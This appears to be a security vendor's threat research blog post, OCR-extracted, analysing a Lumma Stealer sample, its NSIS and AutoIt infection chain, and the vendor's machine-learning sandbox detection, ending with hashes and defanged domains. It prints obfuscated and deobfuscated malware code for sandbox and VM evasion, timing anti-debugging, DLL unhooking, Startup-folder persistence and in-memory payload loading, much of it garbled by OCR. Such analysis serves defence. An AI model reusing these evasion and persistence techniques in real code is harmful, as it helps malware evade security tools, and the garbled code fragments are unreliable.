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Introduction

In early 2025, LummaStealer was in widespread use by cybercriminals targeting victims throughout the world in
multiple industry verticals, including telecom, healthcare, banking, and marketing. A sweeping law enforcement
operation in May brought this all to an abrupt halt. After a quiet period, we are now starting to see new variants of
Lumma Stealer emerge. In light of this re-emergence, we are sharing this blog post to show one of the tools
Netskope has in its arsenal to detect new and novel Lumma Stealer variants.

In January 2025, Netskope Threat Labs observed a Lumma Stealer campaign and documented its delivery
mechanisms and tactics, techniques, and procedures (TTPs). This blog post presents a detailed technical analysis of
a new Lumma Stealer sample, alongside Netskope Al Labs’ novel machine learning—based detection approach.

Our analysis focuses on three key aspects of Lumma Stealer’s operation:

* Code obfuscation: How the malware conceals its true functionality.
« Evasion techniques: Anti-sandbox and anti-analysis methods designed to bypass security defenses.
* Persistence mechanisms: Techniques used to maintain a foothold on infected systems.

We specifically analyze the PE binary sample 87118baadfa7075d7b9d2aff75d8e730 in this post.
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ML-based detection approach

At Netskope, we’ve built a comprehensive, multi-layered threat protection system to safeguard customer traffic. This
system is powered by Al and machine learning across multiple engines, applied in both inline fast scans and deep
scans that combine static and dynamic analysis.

Our Advanced Threat Protection platform includes a Cloud Sandbox, enhanced with ML models purpose-built to
detect new, novel, and targeted malware. The Cloud Sandbox executes suspicious samples in an isolated Windows
environment and records detailed runtime behavior, including:

e Process trees (with API calls and DLL interactions)
¢ Registry modifications

* File operations

o Network activity

The image below shows a typical structure of a malicious file’s process tree. Our Al model uses a tree transformer
architecture to learn and understand the intricate patterns within process trees and their associated features. It
employs tree positional embeddings to encode each node and its position within the tree.

Process Tree (PID as Node Name)

1864
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1556
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920 2092 2216 2340 2464 2612 2728 2868

Runtime behavioral features, such as registry modifications, file operations, and network communications, are also
encoded into vectors. These feature vectors are then combined with the process tree embeddings to make a final
malware classification.

Using a transformer-based architecture allows the model to capture generalized behavioral patterns. This patented
approach not only prevents overfitting to training data but also significantly enhances our ability to detect previously
unseen threats.

Our model successfully flagged the Lumma Stealer malware. The process tree embeddings, combined with runtime
behaviors like registry modifications, file operations, and network activities, contributed to the high likelihood of it
being malicious, proving the effectiveness of our approach against sophisticated and novel threats.

In-depth technical analysis

The analysis focused on a specific sample, identified by the hash 87118baadfa7075d7b9d2aff75d8e730. This
sample was categorized as a Nullsoft Scriptable Install System (NSIS) installer file. This classification was apparent
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upon inspection using tools such as Detect It Easy (DIE), a screenshot of which confirmed its NSIS format. A critical
aspect of this sample’s functionality involves its malicious use of Autolt. Autolt is a legitimate and widely used
scripting language, characterized by its BASIC-like syntax, designed for automating various tasks within the Windows
operating system. However, in this instance, the sample leverages Autolt for illicit purposes, indicating a potential

abuse of a trusted system utility for malicious operations. This highlights a common tactic employ
repurposing legitimate tools and frameworks to evade detection and carry out their objectives.

1\87118baadfa7075d7b9d2aff75d8e730

File type File size
1.05MiB
Architecture

Automatic 1386

v PE32
Operation system: Windows(2000)[I386, 32-bit, GUI]
Linker: Microsoft Linker(9.00.30729)
Compiler: Microsoft Visual C/C++(15.00.30729)[C]
Language: C/C++
Tool: Visual Studio(2008)
Installer: Nullsoft Scriptable Install System(2.46.1-Unicode)[lzma]
¥ Qverlay: Binary
Data: NSIS data

Signatures D Recursive scan |:| Deep scan Heuristic scan D Verbose

Directory Log | All types > 165 msec

ed by threat actors:

Shortcuts
Options
About

Exit

When extracted with an unzip utility like 7z, the sample decompresses two items: a file with the .nsi extension and a

directory named $TEMP.

)
Executable Drops and Launches | | ggitimate
NSIS Installer Drops Autoit.exe
—
)

Drops =] Malicious
Autoit Script

Lumma
- Loads Payload
l— Assembles —T

—_—

[NSIS].nsi: Obfuscated NSIS script, will invoke Parish.m4a to initiate the chain
Parish.m4a: obfuscated batch file
Other *.m4a: Blobs for next stage payload
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Cups.méda

Diameter.mda

$PLUGINSDIR

[NSIS]nsi

Discusses.mda

()

Navigation.mda

ive © Ourmda

()

Parish.mda

()

Submissions.mda

)

Vacation.mda

)

Who.mda M4A F

Keturn

label_192:
Push "& Parish."”
Pop $_9_
DeleteINISec ContactsMixer ArrangementsMortgages
GetTempFileName $7 NeighborsQuestionsDiscussedPennRayImprovements
nsExec::Exec "cmd $ 6 _a$ 7 Paris$ 8 & Paris$ 8 "

Call Initialize Plugins

SetOverwrite off

File $PLUGINSDIR\nsExec.dll

SetDetailsPrint lastused

Push "cmd $_6_a$_7_Paris$_8_ & Paris$_8_"

CallInstDLL $PLUGINSDIR\nsExec.dll Exec

DeleteINISec TitansDeny RowWc

TEEmmmne Tahal 912 1akal 212

The Windows batch file, Parish.m4a, is obfuscated. Its deobfuscated content is shown below:

Finally the following code starts the renamed Autoit3.exe whose path is stored in the %ye1ZzJkS variable, the below
command-line snippet is translated as.

%syelZzJk%s -> Autoit3.exe

u%cGFj ruHXQLgneWmWdHSnCYTt0Ghn% -> u.a3x

The obfuscated AutoitScript, extracted from ‘u’, employs a while loop and switch-case obfuscation technique.
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$highwaydestinationepinions = ACCEPT("101%120%112%115%101%33%33%100%99%84%106%123%102%60%33%113%117%115%33%83%102%116%102%115%119%102%101%60%33%113%117%115%33%69%102%116%108%117%112%113%60%
117%115%33%85%106%117%109%102%60%33%101%120%112%115%101%33%89%60%33%101%120%112%115%101%33%90%60%33%101%120%112%115%101" 33‘589%84%106‘5123%102%60%33%101%120%111%1155101’533‘6909&84%106‘6123%102%60‘633’610
19120%112%115%101%33%B9%68%112%118%1 11%117%68%105%98%115%116%60%33%101%120%1 12%115%1 0 1%33%90%68%112%118%111%11 7%68%105%98%115%116%60%33", 0x1 + 0x0)
$electronicbon = ACCEPT("102%121%113%116%102%34%72%107%110%110%67%118%118%116%107%100%119%118%103%61%34%102%121%113%116%1 02%34%72%110%99%105%1 17%6 1%34%121%113%116%102%34%85%106%113%121%89%107%112%
102%113%121%61%34%121%113%116%102%34%84%103%117%103%116%120%103%102%52%61%34%114%118%116%34%84%103%117%103%116%120%103%102%52%6 1%34%114%118%116%34%106%85%118%102%75%112%114%119%118%61%34%114%118%1
16%34%106%85%118%102%81%119%118%114%119%118%61%34%114%1 18%116%34%106%85%118%102%71%116%116%113%116", 0x3 + OXTFIfFfff)
While @x21f
$mathematicalinappropriate = @xdbbd
Switch $mathematicalinappropriate
Case 0xdbbb
Cos (@xc@a)
IsDeclared(ACCEPT (" 73%67%75%80%85%45%70%7 1%82%86%74%45" , 0x3 + OXFfFFffff))
ObjGet (ACCEPT ("75%50%78%112%105%121%104%115%123%104%121%50%80%117%109%108%106%123%112%118%117%50", 0xd + Oxfffffffa))
ObjGet (ACCEPT("84%105%112%120%106%111%104%33%33%33%33%76%102%109%108%112%112%33%33%33%33%81%118%115%116%118%106%117%33%33%33%33", 0x1 + 0x0))
$mathematicalinappropriate = $mathematicalinappropriate + 0x5c3e5 / Ox5c3e5
Case @xdbbc
IsDeclared(ACCEPT("117%104%105%104%117%104%113%102%104%64%106%120%113%118%64%116%120%108%64%101%100%119%112%100%113%64", 0x5 + Oxfffffffe))
Progress0ff ()
IsDeclared(ACCEPT("104%117%123%118%117%112%118%54%106%118%125%108%121%104%110%108%54%104%125%108%117%124%108%54", @xc + @xfffffffb))
ObjGet (ACCEPT ("74%104%121%117%112%125%104%115%101%94%112%123%111%107%121%104%126%104%115%101%75%112%122%106%118%101", 0xc + Oxfffffffb))
$mathematicalinappropriate = $mathematicalinappropriate + @xeddb / @xeddb
Case @xdbbd
$replacetraveling = D11StructCreate(ACCEPT("89%90%88%91%73%90%65%: , 0x9 + Oxfffffffd) & $highwaydestinationepinions & $electronicbon &
ACCEPT("63%36%73%82%7 2%87%88%86%89%7 1%88%63%36%116%120%118%36%69%120%120%118%109%102%121%120%105%80%109%119%120", 0x7 + Oxfffffffd))
ExitLoop
EndSwitch
WEnd

The script snippet below appears after deobfuscation:

$highwaydestinationepinions = ACCEPT("101%120%112%115%101%33%33%100%99%84%106%123%102%60%33%113%117%115%33%83%102%116%102%115%119%102%101%60%33%113%117%115%33%69%102%116%108%117%112%113%60%33%113%
117%115%33%85%106%117%109%102%60%33%101%120%112%115%101%33%89%60%33%101%120%112%115%101%33%90%60%33%101%120%112%115%101%33%89%84%106%1 23%102%60%33%101%120%112%115% 10 1%33%90%84%106%123%102%60%33%10
1%120%112%115%101%33%89%68%112%118%111%117%68%105%98%115%116%60%33%101%120%1 12%115%101%33%90%68%112%118%111%117%68%105%98%1 15%116%60%33", 0x1 + X
selectronicbon = ACCEPT("102%121%113%116%102%34%72%107%110%110%67%118%118%116%107%100%119%118%103%61%34%102%121%113%116%102%34%72%110%99%105%117%61%34%121%113%116%102%34%85%1 06%1 13%121%89%107%112%
102%113%121%61%34%121%113%116%102%34%84%103%117%103%116%1 20%1 03%102%52%6 1%34%1 14%118%116%34%84%103%117%103%116%1 20%103%1025%52%6 1%34%114%118%116%34%106%85%118%102%75%112%114%119%1 18%6 1%34%114%118% 1
16%34%106%85%118%102%81%119%118%114%119%118%61%34%114%118%116%34%106%85%118%102%71%116%116%113%116", 0x3 + OxFfffffff)
$replacetraveling = DULStructCreate(ACCEPT("89%90%88%91%73%90%65%38", @x9 + Oxfffffffd) & $highwaydestinationepinions & $electronicbon &
ACCEPT("63%36%73%82%7 2%87%88%86%89%7 1%88%63%36%116%120%118%36%69%120%120%118%109%102%121%120%105%80%109%119%120", 0x7 + Oxfffffffd))

$highwaydestinationepinions = dword cbSize; ptr Reserved; ptr Desktop; ptr Title; dword X; dword Y; dword XSize; dword YSize; dword XCountChars; dword YCountChars;
$electronicbon = dword FillAttribute; dword Flags; word ShowWindow; word Reserved2; ptr Reserved2; ptr hStdInput; ptr hStdOutput; ptr hStdError
$replacetraveling = DU1StructCreate(STRUCT; & $highwaydestinationepinions & $electronicbon & ; ENDSTRUCT; ptr AttributelList)

Evasion technique used in Autolt Script:

Due to its evasion and anti-analysis techniques, the sample initially exhibited a very low detection rate on VirusTotal
(9/73) on its first submission, as shown in the screenshot below.

Detections evolution Previous analyses Date order v
[ Detections 2025-07-14T10:39:35 UTC 9/72

45 2025-07-14T14:11:00 UTC 19 /73
“ ./ \ / 2025-07-16T06:13:54 UTC 33/73
35 _— o

20 2025-07-16T17:56:03 UTC 38 /73
25 2025-07-17T06:10:51 UTC 42 /73
20
5 /‘ 2025.07-17T17:54:47 UTC 42 73
10 2025-07-18T06:15:33 UTC 42 /73
s 2025-07-18T14:37:43 UTC 36 /66
0
: A8 4B 41 A 4B ; a9 49 2025-07-19T06:09:12 UTC 47 /73
s 01" e 0T o1 e O e T ool a1 o 501
025 Qﬁ 915 5 o5 a2 025 25 0@5 25
E E * B B E E E E b 2025-07-19T17:52:40 UTC 49 /73
2025-07-20T06:05:25 UTC 48 /T2
2025-07-20T17:50:18 UTC 48 /73
2025-07-21T06:10:31 UTC 48 /73
Security vendors' analysis on 2025.07-14T10:39:35 UTC
Popular threat label () trojan.runner/autoit Threat categories trojan  dropper Family labels runner  autoit  lummastealer
AhnLab-v3 (D infostealer/Win.LummaC2.R714279 Bhav Pro (D waz.AIDetectMalware

CrowdStrike Falcon Win/grayware_confidence_70% (D) Google @ Detected

Hucrong Trojan/BAT.Agent.cv Microsoft Trojan:Win32/Wacatac.Blml

Malicious.moderate.ml.score

ZoneAlarm by Check Point Troj/DarkGate-A Acronis (Static ML) Undetected

Alibaba Undetected AliCloud Undetected

®©
®©
Sophos () Troj/DarkGate-A Trapmine
O]
©

@ © @ 0

Evasion and anti-analysis technique used by this sample are as below:
Check execution environment:

The subsequent code snippet verifies the execution environment by checking if the COMPUTERNAME is not equal to a
specified value.

o tz
o NfZtFbPfH
e ELICZ
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Ensure USERNAME is not equal to :
o test22
Ensure the following process is not present:

e vmtoolsd.exe

¢ VboxTray.exe

e SandboxieRpcSs.exe
e avastui.exe

(Call(EnvGet, COMPUTERNAME) = tz) ? (Call(WinClose, Call(AutoItWinGetTitle))) : (Opt(TrayIconHide, @x2a93bcf / @x2a93bcf))
If ProcessExists(vmtoolsd.exe) = True Or ProcessExists(VboxTray.exe) = True Or ProcessExists(SandboxieRpcSs.exe) Then Exit
(Call(EnvGet, COMPUTERNAME) = NfZtFbPfH) ? (Call(WinClose, Call(AutoItWinGetTitle))) : (Opt(TrayIconHide, ©x2a93bcf / @x2a93bcf))

(Call(EnvGet, COMPUTERNAME) = ELICZ) ? (Call(WinClose, Call(AutoItWinGetTitle))) : (Opt(TrayIconHide, @x2a93bcf / @x2a93bcf))
(Call(EnvGet, USERNAME) = test22) ? (Call(WinClose, Call(AutoItWinGetTitle))) : (Opt(TrayIconHide, @x2a93bcf / @x2a93bcf))
(Call(ProcessExists, avastui.exe)) ? OPERATIONCHOIR(0x2710) : (Opt(TrayIconHide, ©x2a93bcf / 0x2a93bcf))

Anti-debugging:

This prevalent anti-sandbox technique leverages the discrepancies in how real machines and analytical environments
manage time and execution speed.

Func OPERATIONCHOIR($rxbllis)
$billinggpsestimationgerald = Dl1Call(kernel32.d1l, long, GetTickCount) [0x0]
DllCall(kernel32.d11l, DWORD, Sleep, dword, $rxbllis)
$explainhughesglobalthose = D11Call(kernel32.dl1l, long, GetTickCount) [0x0]
$angersigns = $explainhughesglobalthose - $billinggpsestimationgerald
If Not (($angersigns + 0x1f4) >= $rxbllis And ($angersigns + Oxfffffedc) <= $rxbllis) Then Exit
EndFunc  ;==>0PERATIONCHOIR

Anti-analysis:

The sample initiates an anti-analysis check by attempting to ping a fabricated domain. Should the domain be
reachable, suggesting a controlled environment, the Autolt process self-terminates. Conversely, if the domain is
unreachable, it transitions into stealth mode by concealing its tray icon.

FileDelete (u)
Ping (FxtwdhZNJRmN . FxtwdhZNJRmN, 0Ox3e8) <> O0x0} ? (Call (HinClose, |
Call (AutoItHinGetTitle))) - (Opt(TraylcomHide, 0x2a%3bcf / 0x2a%3bcf)

DLL Unhooking:

Security software typically intercepts critical Windows API functions within a process’s memory. This involves altering
the initial bytes of legitimate functions (e.g., NtCreateProcess in ntdll.dll) to reroute their execution to the security
product’s own code. This allows the security mechanism to examine or block the call before it reaches the operating
system. Malware can bypass this by restoring the original, unhooked function bytes, thereby nullifying the security
control.

Func NEONMUSTCRIMEROOMS ()
spromisedlocationrisk = D1lCall(kernel32.d11, hwnd, GetCurrentProcess)

sinultaneouslygracetouched [0xe], ptr, DUStructGetPtr($rxbl), dword, DULStructGetSize($rxbl))

tdll.dll, dword, 0xB08@0000, dword, Oxl, pi €x3, dword, 8x0, ptr, 0x0)
xi )

wo!
, dword, 0x, ptr, 0x0

smetricvolk o s e g d B word Rels 2 er; word MininunExtra; word MaximunExtra; word SS; word SP; word Checksum; word IP; word CS; word Relocation;

word Overlay; cl a
$marking! 15tru ofSec erTosymbolTable d Number0fSynbo rd Size0fOptionalHeader; word Characteristics, $dangercbsmirror +

vol
NCEHOMES ($ma
Create(char N 3 dword V. ; dword SizeOfRawdata; dword PointerToRawDa ord PointerToRelocations; dword PointerToLinenumbers; word Number0fRelocations; word
s MES($netricvolkswagenapparenteverybody, Addre: + 0xf8) + (0x28 * $1))
ONFIDENCEHOMES ( $pleasedb . en
U(kernel32.d11, bool, V 3 , dword, LIGHTSASSETSCONFIDENCEHOMES ($pleasedbeliefcrap, VirtualSize), dword,

pt r b at, va [0x0] + LIGHTSASSETSCONFIDENCEHOMES($pL
ief )

fect, mency
(spleased c
saparttrucksletsabroad = DULCall(ker: . .V , dword, LIGHTSASSETSCONFIDENCEHOMES ($pleasedb ap, Virtuals:
saparttrucksletsabroad(0xd], dwordk, 0x0)
ExitLoop
f
Next
DLCall (kernel: . loseHandle, hwnd, Spromisedlocationrs
DLLCaLl (ker y etiandle, hwnd, Sopportunityprogray
DLLCaL1 (kernel: o etiandle, hwnd, Srvstateheyany[exe])
DULCall(kernel32.d11, none, FreeLibrary, hwnd, $xboxsimultaneouslygracetouched[axol)
EndFunc_;==>NEONMUSTCRIMEROOMS

Persistence:

The sample utilizes the CreateProcessW API to execute cmd . exe. This action creates an internet shortcut (.url) in
the Windows Startup folder, thereby establishing persistence. Upon system startup, this shortcut launches a JScript,
which then uses an ActiveXObject to instantiate a Wscript.Shell object, culminating in the execution of the Autolt
payload.
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DUlStructSetbata($replacetraveling, cbSize, DUIStructGetSize($replacetraveling))

If Not FileExist r'Not FileExists( Lsingwoods) Or Not FileExlsts(setfectivepumpflesh) Then
T1 Not FileExists(sservedtonsidersfondraisingwoods) And Sservedconsidersfundraisingwoods < @scriptFultpath The
FileCopy(@ScriptFullPath, $servedconsidersfundraisingwoods, @x9)

EndT
Nt F)\e[x)sts(sgmccsmobby) And sonccstiobby = AutalExe Then
$segnentsfund b
FileWrite( , FileRead(F: tExe, 0x10)))
F1LcC\u5e1bsegmentsfunamgaud)upre(ty)
EndIf
If Not FileExists(seffectivepunpflesh) The
sreferralobjectauhenevernov = Filedpen(settectivepumpflesh, oxa)
FileWrite(sreferralob -
\EcoTrack T

Chri(8x22) & Wscript. & Chri(8x22) & + & ChrW(0x22) & Shell & Chri(8x22) & ) & @CRLF & EcoTrack.CurrentDirectory = g  Chri(0x22) & StringReplace(@LOCALAPPDATADIR &
i, & W6 chru(6x22) & GCRLF & EcoTrack.Exec( & ChW(0x33) & \ & ChiH{0x22) & St ingRegExpeplace (Sgnccathobby, A\, ) & \ & ChW(6x22) & & \ & Chri(ox2) &

&\ & Chrii(ex22) & Chrii(0x22) & ))
Fﬂe(\nse(Sreferra\ﬂh]ec(swheneverr\uv)

fundraisingwoods,

Endl
I

1 ) Then

$risingformarshall = Fl\cODcMCﬂStnrtuler & \EcoTrack.url, 8x22)

FileWrite(srisingformarshall, [InternetShortcut] & GCRLF & URL= & Chrh(0x22) & $effectivepunpflesh & Chri(0x22))
FileClose(srisingformarshall)

se

$responsibilityflat = D\l[al\{kernew? dll, bool, CreateProcessW, wstr, NULL, wstr, cnd /k echo [InternetShortcut] > & ChrW(0x22) & @StartupDir & \EcoTrack.url & ChrW(0x22) & & echo URL= & Chri(0x22) & $effectivepumpflesh & Chri(0x22) &
& Chr(0x22) & @Startupdir & \EcoTrack.url & Chrii(0x22) & & exit, ptr, 8x0, ptr, 0x0, int, 0x8, dword, 0xB980008, ptr, €xd, ptr, 6xd, ptr, DLIStru r( 9), ptr, DU

Decrypted next phase payload by self-definition function

After decryption, the malware separates into two functions using 0x89C0. The first function is responsible for
decrypting the in-memory key mapping, while the second decrypts the LZ-compressed data, as shown in the image

Func STUDYSPANISHHANDLING ($aveasiavisiblepace, $infraredcheaper)
$champagnecompensat ionsimplifiedopen = @AutoItX64
o] S(r\ampagne:umpensa(iunslmpl)heﬂopen Then
Local $tripleaffilia 4531 1014983C2014181F900010000
OEEE45EFBEC94D63D942EFBS?M?BMOBE7008458358014288509084839FB74@E4539D07E(54953F2 1
stripleaffiliates & 83C201EBC44883C 084585C0448811448849047EAE4183E80: 18320141
PB041010830024863C2014830F2756344891 1448949044863 40835553

142E8D3413468D

1908468D0C08450FB6C!
Else

00
Local $tripleaffiliates = 0x90905531C057565383EC088B4C241C8B7C2420C

00130000 4240489C831D2891C2489CEEB32C
aFBSBZGFBGSCJsaaaszaaasaeasacaa1aaac:aa&zBo424@4741zaaatzA394c242475csaazc24330424w1EacsascAassasssrsncznuaa 9
stripleaffiliates & 404892248B5240483C30181E3FF000000895C24040FB67418088B6C24048D0COEOFBECK
Fob7 43000003024 60F 33010 17830201 1000
EndTf
stripleaffiliates = Binary($tripleaffiliates)
Local $explainsreporteddat = (StringInStr($tripleaffiliates, 9090) + Oxfffffffd) / ox2

Local $dependencewiredbulgarianpushed = (StringInStr(Stripleaffiliates, 89C0) + OxFFFffffd) / 0x2
sinstructionsbahrainbiotechnologycomplement =

= DllStructCreate(byte| & Call(Binarylen, $tripleaffiliates) & 1, DllCall(kernel32.dll, ptr, VirtualAlloc, ptr, 0x@, ulon
0x1000, dword, 0x40) [0x0])
DUIStructSetData($instructionsbahrainbiotechnologycomplement
Local $uzbekistandas = Call(BinaryLen, $infraredcheaper)
Local $commissionernavigationhappentalked = DUlStructCreate(byte[ & $uzbekistandas & 1)
DUIStructSetData($conmissionernavigationhappentalked, @x1, $infraredcheaper)
Local $promotionalbyte = DllStruc(Crea(e(byte[N
If $champagnecompensationsimplifiedopen Ther

Local $sheetproductivity = Dot Address ("none", DUStructGetPtr($instructionsbahrainbiotechnologycomplement) + $explainsreporteddat, ptr, DUlStructGetPtr(spromotionalbyte), ptr,
DUIStructGetPtr($commissionernavigationhappentalked), uint, $uzbekistandas, int, @x)

1C2F8D2C

0FB67CH

g_ptr, Call(Binarylen, $tripleaffiliates), dword,
L 0x1, stripleaffiliates)

Else

DllCall(user32.dll, uint, CallWindowProc, ptr, DUIStructGetPtr($instructionsbahrainbiotechnologycomplement) + $ porteddat, ptr, DULStru
DUIStructGetPtr($commissionernavigationhappentalked), uint, $uzbekistandas, int
nd1f

Ptr($promotionalbyte), ptr,
Local $uzbekistandas2 = Call(BinaryLen, $aveasiavisiblepace)
Local $commissionernavigationhappentalked2 = DUlStructCreate(bytel & $uzbekistandas2 & 1)
DUIStructSetData($commissionernavigationhappentalked2, Ox1, $aveasiavisiblepa
If $champagnecompensationsimplifiedopen Then
Local $sheetproductivity = DllCallAddress: , DUStructGetPtr(sinstructionsbahrainbiotechnologycomplement) + $dependencewiredbulgarianpushed, ptr, Dl1StructGetPtr(spromotionalbyte), ptr,
DllStructGetP(r{5(nmmissmnernangatiunhappentalkedZ), uint, $uzbekistandas2, int,
*bulcal(users2.d1t, uint, Callbindowproc, ptr, DUIStructGetPtr($instructionsbahrainbiotechnologycomplement) + $dependencewiredbulgarianpushed, ptr, DULStructGetPs
DUiStructGetPtr($commissionernavigationhappentalked2), uint, $uzbekistandas2, int, @x0)
EndIf

Return LIGHTSASSETSCONFIDENCEHOMES($commissionernavigationhappentalked2, @x1)
EndFunc =>STUDYSPANISHHANDLING

tr($promotionalbyte), ptr,

Uncompress next phase payload by Windows API

The malware utilizes the RtIDecompressFragmentWindows API call to decompress a memory-resident payload
This decompression is executed using the LZ compression format, indicated by the 0x2 parameter. Subsequently,




the decompression process unveils a portable executable (PE) file within memory, as depicted in the accompanying
image.

Func PARMID($discountedguatemalabonds)
Local $amazonempiremil = DUlStructCreate(byte[ & Call(BinaryLen, $discountedguatemalabonds) & 1)
DUIStructSetData($amazonempiremil, @x1, $discountedguatemalabonds)
Local $petitionpostcardsforgotten = DllStructCreate(byte[ & 0x10 x D11StructGetSize($amazonempiremil) & ])
$shalledited = DUlCall(ntdll.dll, uint, RtlGetCompressionWorkSpaceSize, ushort, 0x2, ulongk, 0x0, ulongx, @x@)
Local $statesheatmb = DllStructCreate(byte[ & $shalledited[@x2] & 1)
Local $meanslolita = DUlCall(ntdll.dll, int, RtlDecompressFragment, ushort, 8x2, ptr, DllStructGetPtr($petitionpostcardsforgotten), dword, DllStructGetSize($petitionpostcardsforgotten), ptr,
D11StructGetPtr($amazonempiremil), dword, DUlStructGetSize($amazonempiremil), dword, 0x@, dwordx, 0x@, ptr, DllStructGetPtr($statesheatmb))
If @error Or $meanslolita[0x@] Then
Return SetError(@x1, 0xo, ")
EndIf
Local $monitoringdeborah = DUStructCreate(byte[ & $meanslolital0x7] & 1, DUlStructGetPtr($petitionpostcardsforgotten))
Return SetError(@x@, 0x@, LIGHTSASSETSCONFIDENCEHOMES($monitoringdeborah, @x1))
EndFunc _;==>PARMID
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Due to the C2 server’s inactivity at the time of analysis, further investigation into the next-stage payload was not
possible for this blog post.

Netskope Detection

Netskope Advanced Threat Protection provides proactive coverage against threats like Lumma Stealer. Our multi-
layered approach uses both static analysis and our machine learning-powered cloud sandbox to detect zero-day and
advanced persistent threat (APT) samples.

Detection response codes include:

* Win32.Exploit.Generic: This signature provides broad protection against this threat.
* Gen.Detect.By.NSCloudSandbox.tr: This detection specifically indicates that the sample was identified by our
Cloud Sandbox engine.

The screenshot below confirms that sample 87118baadfa7075d7b9d2aff75d8e730 was successfully detected by the
Netskope Cloud Sandbox.



Summary

MDS: 87118beadra707547bA2af 7508730 VSERSATTECTED THREATS DETECTED

SHAZSE: 21 -

Detection Engine:  Standard Threst Protection

Advanced Threst Protection

O g GenDetect ByNSCloudSandbxr inus

Conclusion

Lumma Stealer has been highly active recently, with its operators employing increasingly sophisticated payloads and
evasion techniques to hinder detection. This underscores the critical need for:

* Advanced threat protection solutions that combine static, dynamic, and ML-based detection.
+ User awareness and training, as many infection chains rely on users opening malicious attachments or
clicking on suspicious links.

We will continue to monitor Lumma Stealer campaigns, providing updates as its tactics, techniques, and procedures
(TTPs) evolve.

I0OCs

MD5

87118baadfa7075d7b9d2aff75d8e730

SHA-1

78da004e332be8eaa5e111c34d6db3a28abb9767

SHA-256
ff7a1388fab9a9%e1b43c5c88a1ee30edabcec21a39882812a045aa9d9b865170

Domain:
annwit[.]xyz
ungryol[.]Jshop
vervzv[.]Jxyz
sorrij[.]Jtop
prvghml[.]Jshop
bardj[.]xyz
greqjful.]xyz

Thanks to Hung-Chun Chu and Jerry Chen for their contributions to this blog, including their assistance with sample
file analysis.

O f7a1388fa59a%e1b43c5c88a 1ee30edabcec? 1a398828122045aa9d9b865170 vewazsrs || ook vustoma
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